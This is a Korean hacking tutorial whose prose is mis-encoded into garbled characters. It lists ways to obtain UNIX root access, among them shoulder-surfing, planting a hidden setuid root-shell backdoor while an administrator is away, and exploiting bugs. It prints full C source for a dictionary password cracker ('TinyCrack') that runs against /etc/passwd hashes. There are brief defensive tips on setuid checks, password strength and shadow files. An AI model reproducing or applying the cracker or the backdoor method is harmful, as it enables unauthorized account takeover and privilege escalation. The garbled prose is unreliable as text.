Network ÇØÅ·°ú º¸¾È   


Áö±Ý±îÁö ³Ê¹«µµ ¸¹Àº ºÐµéÀÌ ³×Æ®¿öÅ© ÇØÅ·°ú º¸¾È¿¡ ±²ÀåÈ÷ ¸¹Àº °ü½ÉÀ» °¡Áö°í °è
¼ÌÀ» °Å¶ó »ý°¢ÇÕ´Ï´Ù.

¸ÕÀú ³×Æ®¿öÅ© ÇØÅ·¿¡´Â ¾î¶²ÇÑ Àåºñ³ª ȯ°æÀÌ ²Ù¸çÁ® ÀÖ¾î¾ß ÇÏ´ÂÁö ¾Ë¾Æº¸°Ú½À´Ï´Ù.


¡á ³×Æ®¿öÅ© ÇØÅ· Áغñ¹° ¡á

1.ÀÎÅÍ³Ý Á¢¼ÓÀ» À§ÇÑ Àåºñ ÀÎÅÍ³Ý Àü¿ë¼±À» »ç¿ëÇÏ´Â ºÐÀ̶ó¸é ÀÚ½ÅÀÇ PC(´Ü¸»±â)¿¡
LANÄ«µå°¡ ÀÖ¾î¾ß °ÚÁÒ?
ÀüÈ­¼±À» ÀÌ¿ëÇؼ­ ÀÎÅͳݿ¡ Á¢¼ÓÀ» ÇؾßÇÏ´Â ºÐÀº ModemÀÌ ´Þ·Á ÀÖ¾î¾ß ÇÕ´Ï´Ù.
¹°·Ð ModemÀ» ÅëÇØ ÀÎÅͳݿ¡ Á¢¼ÓÀ» À§Çؼ­´Â ÀÎÅÍ³Ý ¼­ºñ½º¿¡ °¡ÀÔÀÌ µÇ¾î ÀÖ¾î¾ß °Ú
ÁÒ?


2. NetWork¿Í MutitaskingÀÌ Áö¿øµÇ´Â OS(Win95/NT, Linux µî) ½ÇÁ¦·Î ÇØÅ·°úÁ¤¿¡¼­´Â
´Ü¸»±â¸¦ ¿©·¯°³ ¶ç¿ö¾ß ÇÒ °æ¿ì°¡ ¸¹½À´Ï´Ù. ±×·¡¼­ MutitaskingÀÌ Áö¿øµÇ¸é ÁÁ½À´Ï
´Ù.


3. ³×Æ®¿öÅ© ¿ë ÇÁ·Î±×·¥(NetTerm, WS-FTP µî) ´Ù¸¥ ½Ã½ºÅÛ¿¡ Á¢±ÙÀ» Çϱâ À§Çؼ­´Â T
elnetÀ̳ª Ftp µîÀ»»ç¿ëÇÕ´Ï´Ù. ³×Æ®¿öÅ©°¡ °¡´ÉÇÑ OS¿¡¼­´Â ±âº»ÀûÀ¸·Î Á¦°øÀ» ÇÏÁö
¸¸ Á»´õ Æí¸®ÇÑ Àü¿ë ÇÁ·Î±×·¥À» »ç¿ëÇϼ¼¿ä.


4. ÇØÅ·µµÁß¿¡´Â ÀÚ½ÅÀÇ ÄÄÇ»ÅÍ¿¡¼­ ÇÏ´Â ÀÏÀº ±×¸® ¸¹Áö ¾Ê±â ¶§¹®¿¡ Çϵå¿þ¾î »ç¾ç

Àº ±×¸® »ó°üÀº ¾øÁö¸¸ ÁÁÀ¸¸é ÁÁÀ»
¼ö·Ï ÁÁ°ÚÁÒ? ÇÏÁö¸¸ ModemÀº ¼Óµµ°¡ ºü¸¥ °ÍÀ» »ç¿ëÇϽʽÿÀ. ÀüÈ­ºñ ¹®Á¦µµ ÀÖ°í...
Âü°í·Î ÀÚ½ÅÀÇ PC¿¡ Windows NT server¸¦ »ç¿ëÇÏ°í ´Ù¸¥ NT Server¿¡ ÀüÈ­¸¦ °É¾î Á¢
¼ÓÇÑ ÈÄ Call Back ¼­ºñ½º¸¦ ¹ÞÀ¸¸é ÀüÈ­ºñ¸¦ µéÀÌÁö ¾Ê°íµµ ÀÎÅͳÝÀ» ¸¶À½´ë·Î »ç¿ë
ÇÒ ¼ö ÀÖ½À´Ï´Ù. ÁÁ°ÚÁÒ?


¡á Root ¾ÏÈ£ ¾Ë¾Æ³»±â ¡á

ÀÚ! ¸ðµç°ÍÀÌ Áغñ°¡ µÇ¾ú´Ù¸é ÀÌÁ¦ ½ÃÀÛÇØ º¾½Ã´Ù.
´ëºÐºÐ ³×Æ®¿öÅ© ¼­ºñ½º¸¦ ÇÏ´Â ¼­¹öµéÀº OS¸¦ UNIX°è¿­À» »ç¿ëÇÕ´Ï´Ù.
±×·¡¼­ À¯´Ð½º °øºÎ¸¦ ÇÏ¼Å¾ß ÇÕ´Ï´Ù.
º¸Åë ³×Æ®¿öÅ© »óÀÇ ÇØÅ·Àº ¾î¶² ÇÑ ¼­¹ö¿¡ Á¢¼ÓÇؼ­ ±×°÷¿¡ rootÀÇ °èÁ¤À» ¾Ë¾Æ ³»¼­
±× ½Ã½ºÅÛÀ» ³» ¸¶À½´ë·Î ÁÖ¹«¸£´Â °Í(?)À» °ñÀÚ·Î ÇÕ´Ï´Ù. ±×·³ ·çÆ® °èÁ¤Àº ¾î¶»°Ô
¾Ë¾Æ³¾ ¼ö ÀÖÀ»±î¿ä?
¨ç  root°¡ root°èÁ¤À¸·Î Á¢¼ÓÇÒ ¶§ ¿·¿¡¼­ ÁöÄѺ¸¸ç ¾ÏÈ£¸¦ ¾Ë¾Æ³»´Â ¹æ¹ý
¨è  ·çÆ®ÀÇ °èÁ¤À¸·Î Á¢¼ÓµÇ¾îÀÖ´Â ´Ü¸»±â(terminal)¿¡¼­ root±ÇÇÑÀ» °¡Áø »ç¶÷ÀÌ Àá
±ñ ÀÚ¸®¸¦ ºñ¿üÀ»¶§ Back Door¸¦ ¸¸µå´Â ¹æ¹ý
¨é  Cracker µîÀ» ÀÌ¿ëÇÏ¿© root¾ÏÈ£¸¦ ¾Ë¾Æ³»´Â ¹æ¹ý
¨ê  OSÀÚüÀÇ ¹ö±×¸¦ ÀÌ¿ëÇؼ­ ½Ã½ºÅÛ¿¡ Á¢±ÙÇÏ´Â ¹æ¹ý
¨ë  SnifferingÀ» ÅëÇÑ ¾ÏÈ£¾Ë¾Æ³»±â ¹æ¹ý
µîµî ¿©·¯°¡Áö ¹æ¹ýÀÌ ÀÖ½À´Ï´Ù.

ÀÚ! ÀÌÁ¦ ÇÑ °¡Áö¾¿ Â÷±Ù Â÷±Ù À̾߱⸦ Çϵµ·Ï ÇÏ°Ú½À´Ï´Ù.
¼³¸íÀ» ÇÒ¶§¿¡´Â ±âº»ÀûÀÎ À¯´Ð½º »ç¿ë¹ýÀº À̾߱â ÇÏÁö ¾Ê½À´Ï´Ù.
À¯´Ð½ºÀÇ ±âº»ÀûÀÎ ³»¿ë°ú ±âº» À¯Æ¿¸®Æ¼ÀÇ »ç¿ë¹ýÀº ¹Ì¸® ¹Ì¸® °øºÎÇϽñ⠹ٶø´Ï´Ù.
À§¿¡¼­´Â À¯´Ð½ºÀÇ ±âº»Àº Á¤¸®ÇØ ³õ¾Ò½À´Ï´Ù.


*´«Ä¡ ÄÚÄ¡·Î ¾ÏÈ£ ¾Ë¾Æ³»±â

À̹ø¿¡ ¼Ò°³ÇÒ ¹æ¹ýÀº ¼³¸íÀÌ º°·ç ÇÊ¿ä¾ø½À´Ï´Ù. °¡´É¼ºµµ Èñ¹ÚÇÏÁö¸¸...
¸¸¾à ½Ã½ºÅÛ °ü¸®¸¦ Çϴ ģ±¸°¡ ÀÖ´Ù¸é ±× Ä£±¸¿¡°Ô ã¾Æ°¡¼­ °°ÀÌ ³ë´Â ¹æ¹ýÀ̶ó°í
³ª ÇÒ±î¿ä?
±×³É Ä£±¸°¡ °ü¸®ÇÏ´Â °ÍÀ» º¸´Ù°¡ Ä£±¸°¡ ·Î±×ÀÎ °úÁ¤¿¡¼­ ¼Õ°¡¶ôÀ¸·Î ¾î´ÀÅ°¸¦ ´©¸£
´Â°¡¸¦ ¼ø¼­±îÁö ¾Ë¾Æ³»´Â
°ÍÀÔ´Ï´Ù. Á¤¸» Ä£ÇÏ´Ù¸é Àß ²¿¼Å¼­ Â÷¶ó¸® ¸»·Î ¾Ë·Á´Þ¶ó´Â °ÍÀÌ ÆíÇÏ°Ú±º¿ä.


*°³ ±¸¸Û(Back Door)À» ¸¸µéÀÚ!

À̹ø¿¡´Â Àü¿¡ ¸»ÇÑ Ä£±¸°¡ Àá±ñ È­Àå½Ç¿¡ °¬À»¶§ ÇÒ ¼ö ÀÖ´Â ¹æ¹ýÀÔ´Ï´Ù.
¿©±â¼­ ºÎÅÍ´Â ¼³¸íÀÌ ¸¹ÀÌ ÇÊ¿äÇÕ´Ï´Ù.
UNIX¿¡¼­ÀÇ ¸ðµç ÆÄÀÏÀº ¼ÒÀ¯ ID¿Í ¼ÒÀ¯ Group ID¸¦ °¡Áö°í ÀÖ½À´Ï´Ù.
¸¸¾à ±× ÆÄÀÏÀÌ ½ÇÇà ÆÄÀÏÀ̶ó¸é Set User ID¿Í Set Group ID¸¦ °¡Áú ¼öµµ ÀÖ½À´Ï´Ù.
Set User ID³ª Set Group ID°¡ ¼³Á¤µÇ¾î ÀÖ´Â ½ÇÇà ÆÄÀÏÀ» ½ÇÇà ½ÃŲ´Ù¸é ±× ÆÄÀÏÀ»
½ÇÇà ½ÃÅ°´Â µ¿¾ÈÀº ±× ÆÄÀÏÀÇ ½ÇÁ¦ ¼ÒÀ¯ÀÚÀÇ ±ÇÇÑÀ̳ª ¼ÒÀ¯ Group ±ÇÇÑÀ» °®°Ô µË´Ï
´Ù. ¹°·Ð ÆÄÀÏÀÇ ½ÇÇàÀÌ ³¡³ª¸é ´Ù½Ã ÀÚ½ÅÀÇ ±ÇÇÑÀ¸·Î µÇµ¹¾Æ
¿É´Ï´Ù. ¸¸¾à ±× ÆÄÀÏÀÌ ½ÇÇà µµÁß ¾î¶²ÇÑ ÀÌÀ¯¿¡¼­µçÁö ºñÁ¤»óÀûÀ¸·Î ÇÁ·Î¼¼½º¸¦ ºü
Á®³ª¿Â´Ù¸é ±×¶§´Â ±× ÆÄÀÏÀÇ ¼ÒÀ¯ÀÚ³ª ¼ÒÀ¯ Group ±ÇÇÑÀ¸·Î ºüÁ® ³ª¿À°Ô µË´Ï´Ù. ÀÌ
¸¦ ÀÀ¿ëÇÑ´Ù¸é rootÀÇ ¼ÒÀ¯·Î µÇ¾î ÀÖ´Â ÇÁ·Î±×·¥À» ½ÇÇà½ÃÄÑ ºñÁ¤»óÀûÀ¸·Î ºüÁ®³ª¿À
°Ô Çϸé rootÀÇ ±ÇÇÑÀ» ±×´ë·Î »ç¿ëÇÒ ¼ö ÀÖ½À´Ï´Ù. ±×·¯ÇÑ ¹æ¹ýÀ¸·Î rootÄ£±¸°¡ Àá±ñ
È­Àå½Ç¿¡ °°À»¶§ ´ÙÀ½°ú °°Àº ³»¿ëÀ» ½ÇÁ¦·Î ÀÛ¼ºÇؼ­ ÄÄÆÄÀÏ °úÁ¤À» °ÅÃÄ ½ÇÇà ÆÄÀÏ
·Î ¸¸µé¾î ´«¿¡ Àß ¶çÁö¾Ê°í ÀÚ½ÅÀÌ µé¾î°¥ ¼ö ÀÖ´Â
µð·ºÅ丮¿¡ ¼û°Ü ³õ½À´Ï´Ù.
±×·± ÈÄ ÀÚ½ÅÀÇ °èÁ¤À¸·Î ±× ½Ã½ºÅÛ¿¡ ´ç´çÈ÷ Á¢¼ÓÇؼ­ ¼û°Ü³õÀº ÇÁ·Î±×·¥À» ½ÇÇà½ÃÅ°
´Â °ÍÀÌÁö¿ä.  ´ÙÀ½ÀÇ Source´Â ÀÚ½ÅÀÇ ÇÁ·Î¼¼½º¿¡¼­ /bin/cshÀ» ½ÇÁ¦·Î È£ÃâÇؼ­ ¸í
·É¾î ¸ðµå·Î ºüÁ® ³ª°¡´Â °ÍÀÔ´Ï´Ù. ÄÄÆÄÀÏ ÇÑ ÈÄ¿¡´Â ½ÇÇà ÆÄÀÏÀÇ PermissionÀ» 4755
ÀÌ»óÀ¸·Î ¼³Á¤ÇØ¾ß ÇÕ´Ï´Ù.

--´ÙÀ½--

´ÙÀ½¿¡ ½ÇÁ¦ Å×½ºÆ®¸¦ °ÅÄ£ ÈÄ¿¡ °ø°³ ÇÏ°Ú½À´Ï´Ù.

±×·¯¸é ½Ã½ºÅÛ °ü¸®ÀÚÀÇ ÀÔÀå¿¡¼­ »ý°¢ÇÑ´Ù¸é ÀÌ·± »ý°¢ÀÌ
µå½Ç °Í ÀÔ´Ï´Ù.
¿Ö Set User ID³ª Set Group ID°°Àº °ÍÀ» À¯´Ð½º´Â ¸¸µé¾î¼­ ÀÌ·¸°Ô ÇØÅ·ÀÌ °¡´ÉÇÏ°Ô
ÇÏ´Â °ÍÀϱî?
¿ì¸®°¡ ÀüÀÚ¿ìÆíÀ» º¸³¾¶§ »ç¿ëÇÏ´Â ¸í·É mailÀ» »ý°¢ÇØ º¾½Ã´Ù.
mailÀº ±× ½Ã½ºÅÛÀÇ ¸ðµç »ç¿ëÀÚ°¡ »ç¿ëÀ» ÇØ¾ß µÇÁö¸¸ e-mailÀ» ½ÇÁ¦·Î º¸³»ÁÖ´Â ÀÛ
¾÷À» ÀÏ¹Ý »ç¿ëÀÚ°¡ ÇÒ ¼ö´Â ¾øÀ¸¹Ç·Î mailÀ̶ó´Â ½ÇÇà ÆÄÀÏ¿¡ setuid¸¦ ¼³Á¤Çؼ­ mai
lÀ» º¸³»´Â µ¿¾È¿¡´Â super userÀÇ ±ÇÇÑÀ» °®°Ô ÇÏ´Â °ÍÀÔ´Ï´Ù. ½ÇÁ¦ ls -l /bin/mail
¸í·ÉÀ» »ç¿ëÇؼ­ »ìÆ캸¸é mail ÆÄÀÏ¿¡ setuid PermissionÀÌ ¼³Á¤µÇ¾îÀÖ´Ù´Â °É ¾Ë¼ö
ÀÖ½À´Ï´Ù.
--s--x--x 1 root 23414 jan 2 00:23 mail

±×·³ ÀÌ·¯ÇÑ ¹æ¹ý¿¡ ÀÇÇÑ ÇØÅ·À» ¸·±â À§Çؼ­´Â °ü¸®ÀÚ´Â ¾î¶»°Ô ÇØ¾ß Çϴ°¡Çϸé...
ÀÚ½ÅÀÇ ½Ã½ºÅÛ³»ÀÇ ¸ðµç setuid³ª setgid¸¦ °®´Â ÇÁ·Î±×·¥ÀÌ Á¤»ó ÀÛµ¿À» ÇÏ´ÂÁö ÁÖ±â
ÀûÀ¸·Î üũ¸¦ ÇØ¾ß µÇ°ÚÁö¿ä.
¾Ë°í º¸¸é °£´ÜÇÏÁÒ?


*Cracker·Î ¹«½ÄÇÏ°Ô ¾Ë¾Æ³»±â

ÀÌ ¾Õ¹ø ÇØÅ· ¹æ¹ý±îÁö´Â root¶ó´Â super user¸¦ °³ÀÎÀûÀ¸·Î Àß ¾Ë°í ÀÖ¾î¾ß ÇÒ ¼ö ÀÖ
´Â ¹æ¹ýÀ̾ú½À´Ï´Ù. ½ÇÁ¦·Î ´ëºÎºÐÀÇ »ç¶÷µéÀº ¾Æ´Â »ç¶÷µé Áß¿¡ suprer user°¡ ÀÖÀ»
¸®°¡ ¾øÁÒ? ±×·¸´Ù°í ·Îºñ¸¦ ÇÑ´Ù´Â °Íµµ ¿ì½À±¸¿ä. À̹ø¿¡´Â ÀÚ½ÅÀÇ °èÁ¤À¸·Î Á¢¼ÓÀ»
Çؼ­ ½ÇÁ¦·Î root¸¦ Æ÷ÇÔÇÑ ´Ù¸¥ »ç¿ëÀÚÀÇ ¾ÏÈ£¸¦ ¾Ë¾Æ³»´Â ¹æ¹ýÀ» ¼Ò°³ÇØ µå¸®°Ú½À´Ï
´Ù. º¸Åë ´ëºÎºÐÀÇ UNIX½Ã½ºÅÛÀº /etc/passwd¶ó´Â ÆÄÀÏ¿¡ ±× ½Ã½ºÅÛÀÇ ¸ðµç »ç¿ëÀÚµé
ÀÇ À̸§, ID, ¾ÏÈ£µîÀ» Àû¾î³õ°í °ü¸®¸¦ ÇÏ°í ÀÖ½À´Ï´Ù. passwdÆÄÀÏÀ» ½ÇÁ¦·Î Àо
¾ÏÈ£¸¦ ¾Ë¾Æ³»¸é µÇ´Âµ¥ °¢ »ç¿ëÀÚ º°·Î ÇÑÁÙ¾¿ ±¸¼ºµÇ¾î ÀÖ½À´Ï´Ù. ÇÑ »ç¿ëÀÚÀÇ pass
wdÆÄÀÏ Á¤º¸´Â ´ÙÀ½ÀÇ Çü½ÄÀ» µû¸¨´Ï´Ù.

À¯ÀúÀ̸§:¾ÏÈ£:À¯ÀúID:±×·ìID:½ÇÁ¦À̸§:Ȩµð·ºÅ丮:±âº»Shell

¿¹¸¦ µç´Ù¸é  jch:Ag8hkqPu0mCxg:10:10:Jo Hee Chang:/home/jch;/bin/csh

ÀÔ´Ï´Ù. Ç®¾î º¸ÀÚ¸é °¢°¢ÀÇ ±¸ºÐÀÚ´Â ÄÝ·Ð:À̱¸¿ä. jch´Â ·Î±×ÀÎÇÒ¶§ ¾²ÀÌ´Â »ç¿ëÀÚ
À̸§À̸ç Ag8hkqPu0mCxg´Â ·Î±×ÀÎÇÒ¶§ ¾²ÀÌ´Â ¾ÏÈ£, 10Àº »ç¿ëÀÚ IDÀÔ´Ï´Ù. ÀÌ°ÍÀº »ç
¿ëÀÚ¸¦ ¼ýÀڷμ­ ±¸º°ÇÏ´Â ÄÚµå·Î »ç¿ëÀÚ°¡ Á÷Á¢ »ç¿ëÇÏÁö´Â ¾Ê½À´Ï´Ù. ±× ´ÙÀ½ÀÇ 10
Àº ±×·ìID. jhc°¡ ¼ÓÇÑ ±×·ì¿¡ ´ëÇÑ ¹øÈ£ÀÔ´Ï´Ù.
°©ÀÚ±â ÀÌ·±°É ´Ù ¼³¸íÇØ¾ß Çϴ°¡ ¶ó´Â »ý°¢ÀÌ µå´Â ±º¿ä. ±×·¡µµ ½ÃÀÛÀ» ÇßÀ¸´Ï...
Jo Hee Chang´Â ½ÇÁ¦ »ç¿ëÀÚÀÇ À̸§ÀÔ´Ï´Ù. ÀÌ°Ç ¾ø¾îµµ ¹«¹æÇÕ´Ï´Ù. ½ÇÁ¦ »ç¿ëÀÚÀÇ
À̸§ÀÌ ¾Æ´Ï°í ±×³É Àλ縻 Á¤µµ¸¦ ³Ö´Â °æ¿ìµµ ÀÖ½À´Ï´Ù. ´ÙÀ½Àº »ç¿ëÀÌ Çã°¡ µÇ¾î
Àִ Ȩµð·ºÅ丮ÀÔ´Ï´Ù. ±× ´ÙÀ½Àº ·Î±×ÀÎÀÌ µÇ¸é ¸·¹Ù·Î »ç¿ëÇؾßÇÏ´Â shellÀ» °¡¸£
Å°´Â °ÍÀÌÁÒ? ´Ù ¾Æ½Ã´Â »ç½ÇÀ» ÁÙÁÙÈ÷ ¼³¸íÀ» ÇÏÁö ¾Ê¾Ò³ª ¸ð¸£°Ú½À´Ï´Ù. ±×·±µ¥ ¹®
Á¦´Â ½ÇÁ¦·Î ¾Ë°íÀÚ ÇÏ´Â ¾ÏÈ£´Â ¾Ïȣȭ µÇ¾î ÀÖ´Ù´Â °ÍÀÌÁÒ. ¸»ÀÌ ¾ûÄ׳׿ä. ±×·³ ÀÌ
·¸°Ô ¸»À» ÇÏÁö¿ä. Password´Â ¾Ïȣȭ°¡ µÇ¾î ÀÖ½À´Ï´Ù.  À¯´Ð½º¿¡´Â crypt¶ó´Â ¾ÏÈ£
ÇÔ¼ö°¡ Àִµ¥ ÀÌ ÇÔ¼öÀÇ Æ¯Â¡Àº  ¿ªÇÔ¼ö°¡ Á¸ÀçÇÏÁö ¾Ê´Â´Ù´Â °ÍÀÌÁÒ.  °©Àڱ⠼öÇÐ
À̾߱⸦ ÇÏ´Â °Í °°½À´Ï±î? ±×·±µ¥ ½ÇÁ¦·Î  ¼öÇÐÀ̾߱⠿¹¿ä.  A¶ó´Â »óÅ¿¡¼­ B¶ó´Â
»óÅ´ °¥ ¼ö À־ B¿¡¼­ A¶ó´Â   »óÅ·δ °¥ ¼ö ¾ø´Ù´Â °ÍÀÌÁÒ.
±×·¸´Ù¸éÀº ½ÇÁ¦ ·Î±×ÀÎ °úÁ¤¿¡¼­ ¿ì¸®°¡ Á÷Á¢ Àû¾î³Ö´Â ¾ÏÈ£´Â ¾î¶»°Ô ÆÇ´ÜÀÌ µÉ±î¿ä
?
À¯´Ð½º ½Ã½ºÅÛ¿¡¼­´Â ¿ì¸®°¡ ·Î±×ÀÎ °úÁ¤¿¡¼­ Àû¾î³ÖÀº password¸¦ cryptÇÔ¼ö·Î ¾ÏÈ£
È­¸¦ ½ÃÄÑ /etc/passwdÆÄÀÏ°ú

ºñ±³¸¦ Çؼ­ »ç¿ëÀÚ À̸§°ú password°¡ ¾Ïȣȭ µÈ °Í°ú  ¶È°°Àº °æ¿ì¿¡¸¸ »ç¿ëÀ» Çã°¡
ÇØ ÁÝ´Ï´Ù.  ±×·³ ÇØÅ·À» ¾î¶»°Ô ÇÏÀÚ°í ÀÌ·¸°Ô ³ÊÀýÇÏ°Ô À̾߱⸦ ÇßÀ»±î¿ä?
/etc/passwdÆÄÀÏÀº º¸Åë ´©±¸´Ù º¼ ¼ö ÀÖµµ·Ï °ø°³¸¦ ÇØ ³õ½À´Ï´Ù.
ÀÌ passwdÆÄ

ÀÏÀ» °®´Ù°¡ cryptÇÔ¼ö¸¦ ÀÌ¿ëÇؼ­ ¾Æ¹« ±ÛÀÚ³ª Áý¾î³Ö¾î¼­ ¾ÏȣȭµÈ password¸¦ ¾Ë¾Æ
³¾¶§±îÁö roop¸¦ µ¹¸®´Â
°ÍÀÔ´Ï´Ù.
¹«½ÄÇÑ ¹«½ÄÇÏ°Ô ¾Ë¾Æ³½´Ù°í ¸»À» ÇßÀó¾Æ¿ä.
¿©±â¼­ ¸»ÇÏ´Â roop¸¦ µµ´Â ÇÁ·Î±×·¥ÀÌ ¹Ù·Î cracker¶ó´Â ³à¼®ÀÌ°í ¾Æ¹« ±ÛÀÚ¶ó°í ÇÏ
´Â °ÍÀÌ ¹Ù·Î ´Ü¾î »çÀüÀÔ´Ï´Ù.
´ÙÀ½Àº °£´ÜÇÑ crackerÀÇ ½ÇÁ¦ SourceÀÔ´Ï´Ù.
crackÀÇ ¹æ¹ýÀº passwdÆÄÀÏ¿¡¼­ ¾ÏÈ£°¡ ¾ø´Â »ç¿ëÀÚ¸¦ ã°í ±×´ÙÀ½À¸·Î »ç¿ëÀÚ À̸§°ú
¾ÏÈ£°ú °°Àº °ÍÀ» ã°í ±×´ÙÀ½ ´Ü¾î »çÀüÀÇ ´Ü¾îµéÀ» ºñ±³ÇØ°¡¸é¼­ ã½À´Ï´Ù. ½Ã°£ÀÌ
¹«Áö ¿À·¡ °É¸®´Â ÀÛ¾÷ÀÌÁö¸¸ ¾Ë°í¸®ÁòÀ» ¼öÁ¤ÇÑ´Ù¸é ´õ ºü¸¥ cracker¸¦ ¸¸µé ¼ö ÀÖÀ»
°ÍÀÔ´Ï´Ù.
#include &LTstdio.h>
#include &LTstring.h>

#define fetch(a,b,c,d) fgets(a,130,b);c=strtok(a,":");d=strtok('\0',":");

main()
{
FILE *p,*o,*w;
char i[50];
char pes[130],pas[50],pps[50],pws[50];
char *es=pes,*as=pas,*ps=pps,*ws=pws;
printf("\nTinyCrack v1.0 Bluesman 1/95\n\n");

printf("Password File: ");
gets(i);
p=fopen(i,"r");

printf("WordList File: ");
gets(i);
w=fopen(i,"r");

printf("Results File: ");
gets(i);
o=fopen(i,"w");

fprintf(o,"*** PASS 1: NULL PASSWORDS ***\n");
while(ps)
{
fetch(es,p,as,ps);
if(ps) if(ps[-1]==':') fprintf(o,"|User[%s] has no password!\n",as);
}
fflush(o);
rewind(p);

fprintf(o,"*** PASS 2: ACCOUNT NAMES ***\n");
do
{
fetch(es,p,as,ps);
if(ps) if(!strcmp((char *)crypt(as,ps),ps))
fprintf(o,"|User[%s]has password [%s]\n",as,as);
}while(ps);
fflush(o);
rewind(p);
fprintf(o,"*** PASS 3: DICTIONARY WORDS ***\n");
do{
rewind(w);
fetch(es,p,as,ps);
do
{
fgets(ws,130,w);
ws[strlen(ws)-1]=0;
if(!strcmp((char *)crypt(ws,ps),ps))
{
fprintf(o,"| User [%s] has password [%s]\n",as,ws);
fflush(o);
break;
}
}while(!feof(w));
}while(!feof(p));
fprintf(o,"*** FINISHED SESSION ***\n");
exit(1);
}

À̹æ¹ý¿¡ ÀÇÇؼ­´Â root»Ó¸¸ÀÌ ¾Æ´Ï¶ó ´Ù¸¥ ÀÏ¹Ý »ç¿ëÀÚÀÇ °èÁ¤µµ ¾Ë¾Æ ³¾ ¼ö ÀÖ½À´Ï
´Ù. ½Ã°£¸¸ ¿©À¯·Ó´Ù¸é... º¸¾ÈÀÇ °üÁ¡¿¡¼­ »ý°¢ÇÑ´Ù¸é ÀÌ·¯ÇÑ ÇØÅ·ÀÇ ¹æ¹ýÀ» ¼÷ÁöÇÏ
°í ÀÚ½ÅÀÇ password¸¦ Á¤ÇÒ¶§ ¾î¶² ´Ü¾î·Î ÀÌ·çÁ® Àְųª ÀÚ½ÅÀÇ »ç¿ëÀÚ À̸§À» Á÷Á¢
¶Ç´Â °£Á¢ÀûÀ¸·Î ÀÌ¿ëÇ߰ųªÇÏ´Â °æ¿ì´Â ÇÇÇØ¾ß ÇÏ°í ÁÖ±âÀûÀÎ passwordº¯°æ¿¡ ÀÇÇØ p
assword°ü¸®¸¦ ÇØ¾ß °Ú½À´Ï´Ù.
ÀÌ¿Í °°Àº ÇØÅ·¹æ¹ýÀÇ °üÁ¡¿¡¼­ »ý°¢ÇÒ ¶§ ÀÚ½ÅÀÇ Áö±ÝÀÇ password¿¡ Ư¼ö¹®ÀÚ¸¦ ³¢¿ö
³Ö´Â´Ù¸é password°¡ cracker¿¡ ÀÇÇØ µµ¿ëµÉ °¡´É¼ºÀº ¸î ¹é¹è ÁÙ¾î µé°Ô µË´Ï´Ù.  ¶Ç
½Ã½ºÅÛ °ü¸®ÀÚ¶ó¸é passwdÆÄÀÏÀ» À§¿Í °°Àº ¹æ½ÄÀ¸·Î ÀúÀåÇÏÁö ¾Ê°í shadowÆÄÀÏÀ» ¸¸
µé¾î password¿Í ´Ù¸¥ »ç¿ëÀÚ  Á¤º¸¸¦ ºÐ¸®½ÃÄÑ ³õ´Â °Íµµ ±ÇÀåÇÒ ¸¸ÇÑ °Í ÀÔ´Ï´Ù. ±×
·±µ¥ »ç½Ç shadowÆÄÀÏ¿¡ ´ëÇÑ ÇØÅ· ¹æ¹ýµµ ¾Ë·ÁÁ® À־ ¹®Á¦°¡ µÇ±ä ÇÏ°ÚÁö¸¸ ½Ã°£
°ú ÇØÅ·¹æ¹ýÀÇ ³­Àǵµ¿¡ ÀÇÇØ ¸¹Àº ÇØÅ·À» ¸·À» ¼ö ÀÖ½À´Ï´Ù.
shadowÆÄÀÏ¿¡ ´ëÇÑ À̾߱â´Â ´ÙÀ½¿¡ ÇÏ°Ú½À´Ï´Ù.


*¹ú·¹(Bug)·Î Áý °¥°¡ ¸Ô±â

À¯´Ð½º ½Ã½ºÅÛ¿¡´Â ¾öû³ª°Ô ¸¹Àº ÇÁ·Î±×·¥ ÆÄÀϵéÀÌ Á¸ÀçÇÕ´Ï´Ù.
À¯´Ð½ºÀÇ ±âº» öÇÐÀÌ "ÀÛÀº µµ±¸µéÀ» ¿©·¯°¡Áö ÀÌ¿ëÇÏ¿© Å« ÀÏÀ» ÇØ°áÇÏÀÚ"(??? ¶ó°í
Àúµµ µé¾ú¾î¿ä.)ÀÔ´Ï´Ù.
±×·¡¼­ ¾ÆÁÖ Å©±â°¡ ÀÛÀº À¯Æ¿¸®Æ¼³ª ¸í·É¾î µéÀÌ ¸¹ÁÒ.
±× ¸¹Àº ÆÄÀϵéÀ» »ç¶÷ÀÌ ¸¸µé¾ú°ÚÁÒ? »ç¶÷ÀÌ ÇÏ´Â ÀÏÀÌ´Ù º¸´Ï ½Ç¼öµµ Àִ¹ýÀÌÁÒ.